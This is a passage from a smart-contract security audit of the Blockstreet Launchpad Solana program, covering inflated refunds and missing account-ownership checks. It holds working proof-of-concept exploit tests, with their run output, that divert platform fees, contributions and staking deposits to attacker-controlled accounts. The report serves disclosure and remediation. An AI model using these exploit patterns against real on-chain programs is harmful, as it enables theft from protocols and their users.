User2 - Inflated: 10000000000, Net: 9500000000, Fee: 500000000
Total - Inflated: 25000000000, Net: 23750000000, Fees: 1250000000

💰 Vault balance before claims: 23750000000
   (Should only contain net contributions: 23750000000)

📊 REFUND CALCULATIONS:
==========================================
User1 - Correct refund: 2250000000
User1 - Inflated refund: 3000000000
User1 - Over-refund: 750000000

User2 - Correct refund: 1500000000
User2 - Inflated refund: 2000000000
User2 - Over-refund: 500000000

Total correct refunds: 3750000000
Total inflated refunds: 5000000000
Total over-refund: 1250000000

⚠️ VAULT DRAIN PREDICTION:
==========================================
Vault contains: 23750000000
Will need to pay: 5000000000
Shortage: -18750000000

🎯 EXPLOIT PART 1: User1 claims and receives inflated refund
==========================================
✅ User1 successfully claimed!
   Expected correct refund: 2250000000
   Actual refund received: 3000000000
   Over-refund amount: 750000000
    ✔ ts_id: 2 -  user receives inflated USD1 refund due to gross contribution amounts being used in pro-rata calculations (17739ms)


  1 passing (20s)
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:M/I:H/D:H/Y:H (10.0)

Recommendation

It is recommended the following:

1. Modify the `contribute_usd1` instruction to record only the net contribution amount in `pool.usd1_raised` :*programs/blockstreet-launchpad/src/instructions/user/contribute_usd1.rs*

```
188     // Update pool state - track only net amount (excluding fees)
189     pool.usd1_raised = pool
190         .usd1_raised
191         .checked_add(net_amount)  // Use net_amount instead of amount
192         .ok_or(LaunchpadError::MathOverflow)?;
```

2. Similarly, update the `contribution.usd1_amount` field to reflect the net contribution:programs/blockstreet-launchpad/src/instructions/user/contribute_usd1.rs

```
196     // Update contribution - track only net amount
197     contribution.usd1_amount = contribution
198         .usd1_amount
199         .checked_add(net_amount)  // Use net_amount instead of amount
200         .ok_or(LaunchpadError::MathOverflow)?;
```

Remediation Comment

`SOLVED:` The `Blockstreet team` solved the issue by implementing the suggested changes.

Remediation Hash

99a5830f48e4a523b23d40e3270ecd0c1cd4c3bd

7.2 MULTIPLE ACCOUNT OWNERSHIP VALIDATION VULNERABILITIES ACROSS POOL CREATION, CONTRIBUTION, AND STAKING SYSTEMS ENABLE FEE DIVERSION AND UNAUTHORIZED ACCESS

// CRITICAL

Description

The Blockstreet Launchpad program contains multiple critical security vulnerabilities related to insufficient account ownership validation across its core functionalities. These vulnerabilities affect pool creation instructions, contribution mechanisms, staking systems, and pool initialization functions, all sharing the common flaw of inadequate account ownership verification.

The identified vulnerabilities include:
• **Missing treasury account ownership validation in pool creation**: The `create_pool_with_fees` instruction fails to validate treasury account ownership, allowing project authorities to divert platform fees to their own accounts
• **Missing account ownership validation in contribution functions**: The `contribute_usd1` instruction lacks proper validation for pool vault and treasury account ownership, enabling users to receive free pool allocations
• **Missing USD1 staking vault ownership validation**: The `stake_usd1` instruction fails to validate staking vault ownership, allowing users to bypass token transfer requirements while receiving staking benefits
• **Missing treasury account ownership validation in submission-based pool creation**: The `create_pool_from_submission_with_fees` instruction fails to validate treasury account ownership, allowing project authorities to create circular fee arrangements

These vulnerabilities share common patterns of using `UncheckedAccount` types without proper validation, missing constraint definitions, and inadequate ownership verification mechanisms.

Fee Diversion in Pool Creation
The `create_pool_with_fees` instruction receives treasury accounts as `UncheckedAccount` s and only validates their mints but completely omits ownership checks. This allows malicious project authorities to substitute their own token accounts as treasury destinations, redirecting all platform fees back to themselves.

programs/blockstreet-launchpad/src/instructions/admin/create_pool_with_fees.rs

```
138     /// Treasury USD1 account (destination for USD1 fee) - Unchecked for stack optimization
139     /// CHECK: This account is validated in the handler function
140     #[account(mut)]
141     pub treasury_usd1_account: UncheckedAccount<'info>,
142
143     /// Treasury BLOCK account (destination for BLOCK fee) - Unchecked for stack optimization
144     /// CHECK: This account is validated in the handler function
145     #[account(mut)]
146     pub treasury_block_account: UncheckedAccount<'info>,
147
```

```
148
149     /// Treasury native token account (destination for native token fee) - Unchecked for stack op
150     /// CHECK: This account is validated in the handler function
151     #[account(mut)]
        pub treasury_native_token_account: UncheckedAccount<'info>,
```

Unauthorized Pool Allocations in Contribution System

The `contribute_usd1` instruction fails to validate ownership of both the `pool_usd1_vault` and `treasury_usd1_account`, allowing malicious users to provide their own controlled accounts and receive free pool allocations without making legitimate contributions.

programs/blockstreet-launchpad/src/instructions/user/contribute_usd1.rs

```
42  /// Pool USD1 vault
43  #[account(
44      mut,
45      constraint = pool_usd1_vault.mint == pool.usd1_mint @ LaunchpadError::InvalidTokenMint
46  )]
47  pub pool_usd1_vault: Account<'info, TokenAccount>,
48
49  /// Treasury USD1 account for fees - Unchecked for stack optimization
50  /// CHECK: This account is validated in the handler function
51  #[account(mut)]
52  pub treasury_usd1_account: UncheckedAccount<'info>,
```

Staking Vault Bypass Vulnerability

The `stake_usd1` instruction only validates the mint but fails to validate vault ownership, allowing users to provide their own accounts as the staking vault, effectively staking without transferring tokens to the protocol.

programs/blockstreet-launchpad/src/instructions/user/stake_usd1.rs

```
38  /// USD1 staking vault
39  #[account(
40      mut,
41      constraint = usd1_staking_vault.mint == usd1_staking_pool.usd1_mint
42  )]
43  pub usd1_staking_vault: Account<'info, TokenAccount>,
```

Treasury Account Validation in Submission-Based Pool Creation

The `create_pool_from_submission_with_fees` instruction fails to validate that treasury accounts are owned by trusted protocol entities rather than the project authority, allowing circular fee arrangements where project authorities pay fees to themselves.

programs/blockstreet-launchpad/src/instructions/admin/create_pool_from_submission_with_fees.rs

```
88  /// Treasury USD1 account - Unchecked for stack optimization
89  /// CHECK: This account is validated in the handler function
90  #[account(mut)]
91  pub treasury_usd1_account: UncheckedAccount<'info>,
92
93  /// Treasury BLOCK account - Unchecked for stack optimization
94  /// CHECK: This account is validated in the handler function
95  #[account(mut)]
96  pub treasury_block_account: UncheckedAccount<'info>,
97
```

```
/// Treasury native token account - Unchecked for stack optimization
/// CHECK: This account is validated in the handler function
#[account(mut)]
pub treasury_token_account: UncheckedAccount<'info>,
```

These vulnerabilities collectively compromise the entire economic model and security framework of the Blockstreet Launchpad platform:

1. **Complete Fee Mechanism Bypass**: Project authorities can redirect all platform fees (USD1, BLOCK, and native tokens) to themselves, resulting in zero net cost for pool creation and undermining the platform's revenue model.
2. **Free Pool Allocations**: Malicious users can participate in token pools without making legitimate contributions by redirecting funds to accounts they control, allowing them to claim tokens during distribution phases without real payment.
3. **Staking System Exploitation**: Users can gain staking benefits and higher allocation limits without actually locking their funds in the protocol, compromising the integrity of the tier system and preventing real TVL growth.
4. **Circular Fee Arrangements**: Project authorities can specify their own token accounts as treasury destinations in submission-based pool creation, creating circular fee arrangements where they effectively pay fees to themselves, undermining the protocol's revenue collection mechanism.
5. **Protocol Integrity Compromise**: The combination of these vulnerabilities allows attackers to operate pools with minimal costs while legitimate projects pay full fees, creating an unfair advantage and undermining platform credibility.

Proof of Concept

POC Code 1

```
it.only('TS10: a malicious project authority can provide treasury accounts that they own and avoid p
    const launchpadAccount =
        await program.account.launchpad.fetch(launchpadPda);
    const poolId = launchpadAccount.totalPools;

    // Derive PDAs for the new pool and its vaults
    const [poolPda] = anchor.web3.PublicKey.findProgramAddressSync(
        [Buffer.from(POOL_SEED), poolId.toBuffer('le', 8)],
        program.programId
    );
    const [tokenVaultPda] = anchor.web3.PublicKey.findProgramAddressSync(
        [Buffer.from(POOL_TOKEN_VAULT_SEED), poolId.toBuffer('le', 8)],
        program.programId
    );
    const [usd1VaultPda] = anchor.web3.PublicKey.findProgramAddressSync(
        [Buffer.from(POOL_USD1_VAULT_SEED), poolId.toBuffer('le', 8)],
        program.programId
    );

    const clock = await provider.connection.getBlockTime(
        await provider.connection.getSlot()
    );
    const currentTime = clock || Math.floor(Date.now() / 1000);
    const tokensOffered = new BN(100_000 * 1e9); // 100k project tokens

    const params = {
        tokensOffered: tokensOffered,
        startTime: new BN(currentTime + 60),
        endTime: new BN(currentTime + 60 + MIN_POOL_DURATION),
```

```
    claimTime: new BN(currentTime + 60 + MIN_POOL_DURATION + 60),
    targetRaise: new BN(50_000 * 1e6),
    softCap: new BN(10_000 * 1e6),
    minContribution: new BN(100 * 1e6),
    maxContribution: new BN(1000 * 1e6),
    requireKyc: false,
    pricingUnit: { usd1: {} }
};

const metadata = {
    projectName: 'Exploit Project',
    projectSymbol: 'HACK',
    projectUri: 'https://hack.com/meta.json'
};

// --- Pre-call Assertions ---
// Get initial balances to verify they don't change after the "fee payment"
const projectUsd1Before = (
    await getAccount(provider.connection, projectUsd1Account)
).amount;
const projectBlockBefore = (
    await getAccount(provider.connection, projectBlockAccount)
).amount;
const projectTokenBefore = (
    await getAccount(provider.connection, projectTokenAccount)
).amount;

const usd1Fee = launchpadAccount.upfrontFeeUsd1;
const blockFee = launchpadAccount.upfrontFeeBlock;
const nativeTokenFee = params.tokensOffered
    .mul(new BN(launchpadAccount.platformTokenFeeBps))
    .div(new BN(BASIS_POINTS));

console.log(
    '\n=== EXPLOIT ATTEMPT: Creating pool with malicious treasury accounts ==='
);
console.log('Expected USD1 fee:', usd1Fee.toString());
console.log('Expected BLOCK fee:', blockFee.toString());
console.log('Expected native token fee:', nativeTokenFee.toString());
console.log('\n--- BEFORE EXPLOIT ---');
console.log('Project USD1 balance:', projectUsd1Before.toString());
console.log('Project BLOCK balance:', projectBlockBefore.toString());
console.log('Project Token balance:', projectTokenBefore.toString());

assert(
    new BN(projectUsd1Before.toString()).gte(usd1Fee),
    'Pre-call check failed: Insufficient USD1 balance for fee'
);
assert(
    new BN(projectBlockBefore.toString()).gte(blockFee),
    'Pre-call check failed: Insufficient BLOCK balance for fee'
);
assert(
    new BN(projectTokenBefore.toString()).gte(
        params.tokensOffered.add(nativeTokenFee)
    ),
    'Pre-call check failed: Insufficient project tokens for fee and sale'
);

// --- Instruction Call (Exploit Attempt) ---
// This call should succeed if the vulnerability exists.
console.log('\n--- EXECUTING EXPLOIT ---');
console.log(
    'Using project accounts as treasury accounts to bypass fee payment...'
);

await program.methods
    .createPoolWithFees(params, metadata)
    .accountsStrict({
        pool: poolPda,
        launchpad: launchpadPda,
        tokenMint: projectTokenMint,
        usd1Mint: usd1Mint,
```

```
        blockMint: blockTokenMint,
        usd1Vault: usd1VaultPda,
        tokenVault: tokenVaultPda,
        projectAuthority: projectAuthority.publicKey,
        projectTokenAccount: projectTokenAccount,
        projectUsd1Account: projectUsd1Account,
        projectBlockAccount: projectBlockAccount,
        // Maliciously provide the project's own accounts as the treasury accounts
        treasuryUsd1Account: projectUsd1Account,
        treasuryBlockAccount: projectBlockAccount,
        treasuryNativeTokenAccount: projectTokenAccount,
        tokenProgram: anchor.utils.token.TOKEN_PROGRAM_ID,
        systemProgram: anchor.web3.SystemProgram.programId
    })
    .signers([projectAuthority])
    .rpc();

console.log(
    '✅ Pool creation succeeded with malicious treasury accounts!'
);

// --- Post-call Assertions (Verifying the Exploit) ---
// If the exploit was successful, the project authority's balances should be effectively unchang
// because they paid the fees to themselves.
const projectUsd1After = (
    await getAccount(provider.connection, projectUsd1Account)
).amount;
const projectBlockAfter = (
    await getAccount(provider.connection, projectBlockAccount)
).amount;
const projectTokenAfter = (
    await getAccount(provider.connection, projectTokenAccount)
).amount;

console.log('\n--- AFTER EXPLOIT ---');
console.log('Project USD1 balance:', projectUsd1After.toString());
console.log('Project BLOCK balance:', projectBlockAfter.toString());
console.log('Project Token balance:', projectTokenAfter.toString());

console.log('\n--- EXPLOIT VERIFICATION ---');
console.log(
    'USD1 balance change:',
    (
        BigInt(projectUsd1After.toString()) -
        BigInt(projectUsd1Before.toString())
    ).toString()
);
console.log(
    'BLOCK balance change:',
    (
        BigInt(projectBlockAfter.toString()) -
        BigInt(projectBlockBefore.toString())
    ).toString()
);
console.log(
    'Token balance change (should be -tokensOffered only):',
    (
        BigInt(projectTokenAfter.toString()) -
        BigInt(projectTokenBefore.toString())
    ).toString()
);

assert.equal(
    projectUsd1After.toString(),
    projectUsd1Before.toString(),
    'Exploit successful: USD1 fee was not paid to treasury.'
);
assert.equal(
    projectBlockAfter.toString(),
    projectBlockBefore.toString(),
    'Exploit successful: BLOCK fee was not paid to treasury.'
);
```

```
        console.log(
            '\n🚨 EXPLOIT SUCCESSFUL: Fees were redirected back to the project authority!'
        );
        console.log('💰 Project avoided paying USD1 fee of:', usd1Fee.toString());
        console.log(
            '💰 Project avoided paying BLOCK fee of:',
            blockFee.toString()
        );
        console.log(
            '💰 Project avoided paying native token fee of:',
            nativeTokenFee.toString()
        );
    });
```

Evidence 1

```
  3-create_pool_with_fees
    3-create_pool_with_fees:EXPLOITS

=== EXPLOIT ATTEMPT: Creating pool with malicious treasury accounts ===
Expected USD1 fee: 15000000000
Expected BLOCK fee: 15000000000000
Expected native token fee: 4000000000000

--- BEFORE EXPLOIT ---
Project USD1 balance: 20000000000
Project BLOCK balance: 20000000000000
Project Token balance: 600000000000000

--- EXECUTING EXPLOIT ---
Using project accounts as treasury accounts to bypass fee payment...
✅ Pool creation succeeded with malicious treasury accounts!

--- AFTER EXPLOIT ---
Project USD1 balance: 20000000000
Project BLOCK balance: 20000000000000
Project Token balance: 500000000000000

--- EXPLOIT VERIFICATION ---
USD1 balance change: 0
BLOCK balance change: 0
Token balance change (should be -tokensOffered only): -100000000000000

🚨 EXPLOIT SUCCESSFUL: Fees were redirected back to the project authority!
💰 Project avoided paying USD1 fee of: 15000000000
💰 Project avoided paying BLOCK fee of: 15000000000000
💰 Project avoided paying native token fee of: 4000000000000
      ✔ TS10: a malicious project authority can provide treasury accounts that they own and avoid paying fees (467ms)


  1 passing (8s)
```

POC Code 2

```
it.only('TS3: a malicious user can redirect funds by providing their own accounts instead of legitimate
    console.log('🚨 Testing fund diversion exploit...');
    const contributionAmount = new BN(1000 * 1e6); // 1000 USD1
    const minTokensExpected = null;

    // --- Pre-call Assertions ---
    // Set up the conditions to demonstrate the fund diversion exploit

    // Use contributor's account as malicious account (they control this account)
    const maliciousAccount = contributorUsd1Account;
```

```
// Verify the malicious account is controlled by the contributor (not pool or treasury)
const maliciousAccountInfo = await getAccount(
    provider.connection,
    maliciousAccount
);
assert.equal(
    maliciousAccountInfo.owner.toBase58(),
    contributor.publicKey.toBase58(),
    'Pre-call check: Malicious account should be owned by contributor'
);

// Record initial balances for exploit verification
const maliciousAccountBefore = maliciousAccountInfo.amount;
const contributorUsd1Before = (
    await getAccount(provider.connection, contributorUsd1Account)
).amount;

// Verify contributor has sufficient balance
assert(
    new BN(contributorUsd1Before.toString()).gte(contributionAmount),
    'Pre-call check failed: Contributor must have sufficient USD1 balance for exploit'
);

// Verify pool can accept contributions
const poolBefore = await program.account.pool.fetch(poolPda);
assert.ok(
    poolBefore.kycVerified && poolBefore.adminApproved,
    'Pre-call check failed: Pool must be approved for contributions to execute exploit'
);

// --- Exploit Execution ---
console.log('🚀 Executing fund diversion exploit...');
console.log(Using malicious account: ${maliciousAccount.toBase58()});
console.log(
    'This account will receive both pool vault funds AND treasury fees!'
);

try {
    await program.methods
        .contributeUsd1(contributionAmount, minTokensExpected)
        .accountsStrict({
            pool: poolPda,
            launchpad: launchpadPda,
            contribution: contributionPda,
            contributor: contributor.publicKey,
            contributorUsd1Account: contributorUsd1Account,
            poolUsd1Vault: maliciousAccount, // EXPLOIT: Using attacker's account instead of pool va
            treasuryUsd1Account: maliciousAccount, // EXPLOIT: Using attacker's account instead of t
            stakingTierAccount: null,
            usd1StakingTierAccount: null,
            tokenProgram: anchor.utils.token.TOKEN_PROGRAM_ID,
            systemProgram: anchor.web3.SystemProgram.programId
        })
        .signers([contributor])
        .rpc();

    console.log(
        '🚨 EXPLOIT TRANSACTION SUCCEEDED: Malicious accounts accepted!'
    );
} catch (error) {
    console.log('❌ Attack transaction failed');
    console.log(
        Error: ${error instanceof Error ? error.message : String(error)}
    );
    return; // Stop test execution as per ts_context.md rules
}

// --- Post-call Assertions ---
// Verify the exploit worked by checking fund flows
console.log('🔍 Analyzing exploit results...');

const maliciousAccountAfter = (
    await getAccount(provider.connection, maliciousAccount)
```

```
    ).amount;
    const contributorUsd1After = (
        await getAccount(provider.connection, contributorUsd1Account)
    ).amount;

    // Calculate fund flows
    // Note: Since maliciousAccount IS the contributorUsd1Account, we need to calculate differently
    // The net change shows how much was received vs. paid from the same account
    const netBalanceChange = new BN(maliciousAccountAfter.toString()).sub(
        new BN(maliciousAccountBefore.toString())
    );

    // Calculate expected flows based on contribution amount
    const launchpadAccount =
        await program.account.launchpad.fetch(launchpadPda);
    const platformFee = contributionAmount
        .mul(new BN(launchpadAccount.platformFeeBps))
        .div(new BN(BASIS_POINTS));
    const netContribution = contributionAmount.sub(platformFee);

    // In the exploit, the contributor pays contributionAmount but receives netContribution + platformFe
    // Net result: contributor should have GAINED money instead of losing it!
    const expectedNetGain = netContribution
        .add(platformFee)
        .sub(contributionAmount);

    // These assertions verify the exploit succeeded - if they fail, it means the vulnerability has been
    assert.equal(
        netBalanceChange.toString(),
        expectedNetGain.toString(),
        'EXPLOIT CONFIRMED: The same account that paid also received all the funds back (net gain of 0)'
    );

    // The exploit is confirmed because the contributor gets their money back instead of losing it
    assert.ok(
        netBalanceChange.gte(new BN(0)),
        'EXPLOIT CONFIRMED: Contributor did not lose money - they received funds back due to using malic
    );

    console.log('=== FUND DIVERSION EXPLOIT RESULTS ===');
    console.log(Contribution amount: ${contributionAmount.toString()} USD1);
    console.log(Platform fee: ${platformFee.toString()} USD1);
    console.log(
        Net contribution (should go to pool): ${netContribution.toString()} USD1
    );
    console.log(Net balance change: ${netBalanceChange.toString()} USD1);
    console.log(Expected net change: ${expectedNetGain.toString()} USD1);
    console.log(Legitimate pool vault received: 0 USD1);
    console.log(Legitimate treasury received: 0 USD1);
    console.log(
        Malicious account (${maliciousAccount.toBase58().slice(0, 8)}...) served as both vault AND treas
    );
    console.log('=== VULNERABILITY CONFIRMED: Funds can be diverted ===');
});
```

Evidence 2

```
🚨 EXPLOIT TRANSACTION SUCCEEDED: Malicious accounts accepted!
🔍 Analyzing exploit results...
=== FUND DIVERSION EXPLOIT RESULTS ===
Contribution amount: 1000000000 USD1
Platform fee: 50000000 USD1
Net contribution (should go to pool): 950000000 USD1
Net balance change: 0 USD1
Expected net change: 0 USD1
Legitimate pool vault received: 0 USD1
Legitimate treasury received: 0 USD1
Malicious account (GpnhEmiZ...) served as both vault AND treasury
=== VULNERABILITY CONFIRMED: Funds can be diverted ===
      ✔ TS3: a malicious user can redirect funds by providing their own accounts instead of legitimate pool vaults (575ms)


  1 passing (16s)
```

POC Code 3

```
it.only('TS2: a malicious user can use their own token account as staking vault to avoid locking tokens'
    const attacker = Keypair.generate();
    const stakeAmount = new BN(1000 * Math.pow(10, 6)); // 1,000 USD1

    console.log('👤 Setting up attacker account...');
    // Setup attacker
    const attackerAirdrop = await provider.connection.requestAirdrop(
        attacker.publicKey,
        2 * anchor.web3.LAMPORTS_PER_SOL
    );
    await provider.connection.confirmTransaction(
        attackerAirdrop,
        'confirmed'
    );

    const attackerUsd1Account = await createAccount(
        provider.connection,
        attacker,
        usd1Mint,
        attacker.publicKey
    );

    await mintTo(
        provider.connection,
        launchpadAccounts.authority,
        usd1Mint,
        attackerUsd1Account,
        launchpadAccounts.authority,
        BigInt(10000 * Math.pow(10, 6)) // Mint 10,000 USD1
    );

    const [usd1StakingTierAccount] = PublicKey.findProgramAddressSync(
        [Buffer.from(USD1_STAKING_TIER_SEED), attacker.publicKey.toBuffer()],
        program.programId
    );

    // --- Pre-call Assertions ---
    console.log('📊 Pre-call assertions...');
    const attackerBalanceBefore = await getAccount(
        provider.connection,
        attackerUsd1Account
    );
    const protocolVaultBefore = await getAccount(
        provider.connection,
        usd1StakingVault
    );

    console.log(
           - Attacker USD1 balance: ${attackerBalanceBefore.amount.toString()}
    );
```

```
    console.log(
           - Protocol vault balance: ${protocolVaultBefore.amount.toString()}
    );
    console.log(   - Attempting to stake: ${stakeAmount.toString()} USD1);
    console.log(   - User account: ${attackerUsd1Account.toString()});
    console.log(   - Protocol vault: ${usd1StakingVault.toString()});
    console.log(
           - EXPLOIT: Using user account AS vault: ${attackerUsd1Account.toString()}\n
    );

    // Verify attacker has sufficient funds
    assert.ok(
        BigInt(attackerBalanceBefore.amount.toString()) >=
            BigInt(stakeAmount.toString()),
        'Attacker should have sufficient USD1 tokens for staking'
    );

    // Verify different accounts (legitimate vault vs malicious vault)
    assert.notEqual(
        attackerUsd1Account.toString(),
        usd1StakingVault.toString(),
        'User account should be different from protocol vault (this is what makes the exploit possible)'
    );

    // EXPLOIT: Use attacker's own account as vault
    console.log('💰 Executing stake_usd1 with MALICIOUS vault parameter...');
    await program.methods
        .stakeUsd1(stakeAmount)
        .accountsStrict({
            usd1StakingTierAccount: usd1StakingTierAccount,
            usd1StakingPool: usd1StakingPool,
            userUsd1Account: attackerUsd1Account,
            usd1StakingVault: attackerUsd1Account, // 🚨 EXPLOIT: Same account as user account
            user: attacker.publicKey,
            tokenProgram: TOKEN_PROGRAM_ID,
            systemProgram: SystemProgram.programId
        })
        .signers([attacker])
        .rpc();

    console.log('✅ Transaction succeeded - verifying exploit results...\n');

    // --- Post-call Assertions ---
    console.log('📊 Post-call assertions...');
    const attackerBalanceAfter = await getAccount(
        provider.connection,
        attackerUsd1Account
    );
    const protocolVaultAfter = await getAccount(
        provider.connection,
        usd1StakingVault
    );
    const stakingAccount = await program.account.usd1StakingTierAccount.fetch(
        usd1StakingTierAccount
    );

    console.log(
           - Attacker USD1 balance: ${attackerBalanceAfter.amount.toString()}
    );
    console.log(
           - Protocol vault balance: ${protocolVaultAfter.amount.toString()}
    );
    console.log(
           - Recorded staked amount: ${stakingAccount.stakedAmount.toString()}
    );
    console.log(
           - Staking account owner: ${stakingAccount.user.toString()}
    );

    const balanceChange =
        BigInt(attackerBalanceAfter.amount.toString()) -
        BigInt(attackerBalanceBefore.amount.toString());
    console.log(   - Net balance change: ${balanceChange.toString()}\n);
```

```
    // User retains all tokens (no transfer to protocol)
    assert.equal(
        attackerBalanceAfter.amount.toString(),
        attackerBalanceBefore.amount.toString(),
        'Attacker should retain all tokens (demonstrating the vulnerability)'
    );

    // Protocol vault received no tokens
    assert.equal(
        protocolVaultAfter.amount.toString(),
        protocolVaultBefore.amount.toString(),
        'Protocol vault should receive no tokens (demonstrating lost TVL opportunity)'
    );

    // User's staking state was created/updated
    assert.equal(
        stakingAccount.stakedAmount.toString(),
        stakeAmount.toString(),
        'Staking account should record the stake amount (user gets benefits without locking funds)'
    );

    // User's staking account exists and is valid
    assert.ok(
        stakingAccount.user.toString() === attacker.publicKey.toString(),
        'Staking account should be created for the attacker'
    );

    console.log('🎯 EXPLOIT ANALYSIS:');
    console.log(
        '   User "staked" tokens without transferring them to protocol'
    );
    console.log(
        '   User retains full control of their tokens (net change: 0)'
    );
    console.log(
        "   User's staking account was created with recorded stake amount"
    );
    console.log('   Protocol vault received no actual tokens');
});
```

Evidence 3

```
 19-stake_usd1:EXPLOITS
👤 Setting up attacker account...
📊 Pre-call assertions...
   - Attacker USD1 balance: 10000000000
   - Protocol vault balance: 0
   - Attempting to stake: 1000000000 USD1
   - User account: 8TP7jMsYqHzBGhk5ee1oKy6aJ1f3Tziy4bXefgBJR5mU
   - Protocol vault: 9cbtKr249EXr9gcGMtzsuxzG32XuyPxstGZ6uj9X1axs
   - EXPLOIT: Using user account AS vault: 8TP7jMsYqHzBGhk5ee1oKy6aJ1f3Tziy4bXefgBJR5mU

💰 Executing stake_usd1 with MALICIOUS vault parameter...
✅ Transaction succeeded - verifying exploit results...

📊 Post-call assertions...
   - Attacker USD1 balance: 10000000000
   - Protocol vault balance: 0
   - Recorded staked amount: 1000000000
   - Staking account owner: 5tC2Qj1ztgrHJBDuiFu13k3tQvBZjs6c9xKKGyFAdgA8
   - Net balance change: 0

🎯 EXPLOIT ANALYSIS:
   User "staked" tokens without transferring them to protocol
   User retains full control of their tokens (net change: 0)
   User's staking account was created with recorded stake amount
   Protocol vault received no actual tokens
     ✔ TS2: a malicious user can use their own token account as staking vault to avoid locking tokens (1848ms)


  1 passing (6s)
```

POC Code 4

```
it.only('TS-11: instruction validates ownership of treasury accounts to prevent fee diversion', async ()
    console.log(
        'Starting TS-11: Treasury account ownership validation test...'
    );

    // --- Pre-call Setup ---
    console.log(
        'Using project token accounts as malicious treasury destinations...'
    );

    console.log('Creating second submission for exploit test...');

    // Create a second submission for this test to avoid conflicts with the first test
    const currentTime = Math.floor(Date.now() / 1000);
    const exploitSubmissionParams = {
        tokenMint: projectTokenMint,
        projectName: 'Exploit Test Project',
        projectSymbol: 'ETP',
        projectUri: 'https://exploittest.com',
        tokensOffered: new BN(1000000 * Math.pow(10, 9)), // 1M tokens
        targetRaise: new BN(100000 * Math.pow(10, 6)), // 100k USD1
        softCap: new BN(50000 * Math.pow(10, 6)), // 50k USD1
        minContribution: new BN(100 * Math.pow(10, 6)), // 100 USD1
        maxContribution: new BN(10000 * Math.pow(10, 6)), // 10k USD1
        startTime: new BN(currentTime + 3600), // Start in 1 hour
        endTime: new BN(currentTime + 7200), // End in 2 hours
        claimTime: new BN(currentTime + 10800), // Claim in 3 hours
        requireKyc: false
    };

    const exploitSubmitResult = await submitProject(
        program,
        launchpadAccounts,
        projectOwner,
        exploitSubmissionParams
    );

    const exploitSubmissionId = exploitSubmitResult.submissionId;
```

```
const exploitSubmissionPda = exploitSubmitResult.submissionPda;

// Approve the exploit submission
await program.methods
    .reviewProjectSubmission(
        new BN(exploitSubmissionId),
        { approve: {} },
        null
    )
    .accountsStrict({
        submission: exploitSubmissionPda,
        launchpad: launchpadAccounts.launchpadPda,
        reviewer: launchpadAccounts.authority.publicKey
    })
    .signers([launchpadAccounts.authority])
    .rpc();

// Get current pool count for PDA derivation
const launchpadData = await program.account.launchpad.fetch(
    launchpadAccounts.launchpadPda
);

// Derive the exploit pool PDA
const [exploitPoolPda] = PublicKey.findProgramAddressSync(
    [Buffer.from('pool'), launchpadData.totalPools.toBuffer('le', 8)],
    program.programId
);

console.log(
    'Attempting to use project accounts as treasury destinations...'
);
console.log(
    Using project USD1 account: ${projectUsd1Account.toString()}
);
console.log(
    Using project BLOCK account: ${projectBlockAccount.toString()}
);
console.log(
    Using project token account: ${projectTokenAccount.toString()}
);

// Derive vault PDAs for the exploit pool
const exploitPoolIdBytes = launchpadData.totalPools.toBuffer('le', 8);
const [exploitUsd1VaultPda] = PublicKey.findProgramAddressSync(
    [Buffer.from(POOL_USD1_VAULT_SEED), exploitPoolIdBytes],
    program.programId
);
const [exploitTokenVaultPda] = PublicKey.findProgramAddressSync(
    [Buffer.from(TOKEN_VAULT_SEED), exploitPoolIdBytes],
    program.programId
);

// --- Pre-call Balance Capture ---
console.log('Capturing pre-call balances...');

const projectUsd1Before = await getAccount(
    provider.connection,
    projectUsd1Account
);
const projectBlockBefore = await getAccount(
    provider.connection,
    projectBlockAccount
);
const projectTokenBefore = await getAccount(
    provider.connection,
    projectTokenAccount
);

console.log(Pre-call balances:);
console.log(  - Project USD1: ${Number(projectUsd1Before.amount)});
console.log(  - Project BLOCK: ${Number(projectBlockBefore.amount)});
console.log(  - Project Token: ${Number(projectTokenBefore.amount)});
```

```
// Calculate expected fee amounts
const expectedUsd1Fee = launchpadData.upfrontFeeUsd1.toNumber();
const expectedBlockFee = launchpadData.upfrontFeeBlock.toNumber();
const expectedNativeTokenFee = exploitSubmissionParams.tokensOffered
    .mul(new BN(launchpadData.platformTokenFeeBps))
    .div(new BN(10000))
    .toNumber();

console.log(Expected fees to be transferred:);
console.log(  - USD1 Fee: ${expectedUsd1Fee});
console.log(  - BLOCK Fee: ${expectedBlockFee});
console.log(  - Native Token Fee: ${expectedNativeTokenFee});

// --- Pre-create vault accounts manually ---
console.log('Pre-creating vault accounts for testing...');

// Create and initialize USD1 vault with pool as authority
const usd1VaultKeypair = Keypair.generate();
await createAccount(
    provider.connection,
    launchpadAccounts.authority,
    launchpadAccounts.usd1Mint,
    exploitPoolPda,
    usd1VaultKeypair
);

// Create and initialize token vault with pool as authority
const tokenVaultKeypair = Keypair.generate();
await createAccount(
    provider.connection,
    launchpadAccounts.authority,
    projectTokenMint,
    exploitPoolPda,
    tokenVaultKeypair
);

// --- Instruction Call ---
let instructionFailed = false;
let errorMessage = '';

// NOTE: Modified createPoolFromSubmissionWithFeesWithVaultInit function to not validate
// seeds for usd1_vault and token_vault (changed to UncheckedAccount) for testing purposes
try {
    await program.methods
        .createPoolFromSubmissionWithFeesWithVaultInit(
            new BN(exploitSubmissionId)
        )
        .accountsStrict({
            submission: exploitSubmissionPda,
            pool: exploitPoolPda,
            launchpad: launchpadAccounts.launchpadPda,
            tokenMint: projectTokenMint,
            usd1Mint: launchpadAccounts.usd1Mint,
            usd1Vault: usd1VaultKeypair.publicKey, // Add vault account
            tokenVault: tokenVaultKeypair.publicKey, // Add vault account
            admin: launchpadAccounts.authority.publicKey,
            projectAuthority: projectOwner.publicKey,
            projectUsd1Account: projectUsd1Account,
            projectBlockAccount: projectBlockAccount,
            projectTokenAccount: projectTokenAccount,
            treasuryUsd1Account: projectUsd1Account, // Using project account as treasury
            treasuryBlockAccount: projectBlockAccount, // Using project account as treasury
            treasuryTokenAccount: projectTokenAccount, // Using project account as treasury
            tokenProgram: TOKEN_PROGRAM_ID,
            systemProgram: SystemProgram.programId
        })
        .signers([launchpadAccounts.authority, projectOwner])
        .rpc();

    console.log(
        '✅ Instruction succeeded - demonstrating the vulnerability!'
    );
} catch (error: any) {
```

```
    instructionFailed = true;
    errorMessage = error.message || error.toString();
    console.log(
        '❌ Instruction failed unexpectedly (vulnerability not exploitable):',
        errorMessage
    );
}

// --- Post-call Assertions ---
console.log('Verifying treasury account vulnerability...');

// Assert that the instruction succeeded, demonstrating the vulnerability
assert.isFalse(
    instructionFailed,
    Instruction should succeed to demonstrate vulnerability, but failed with: ${errorMessage}
);

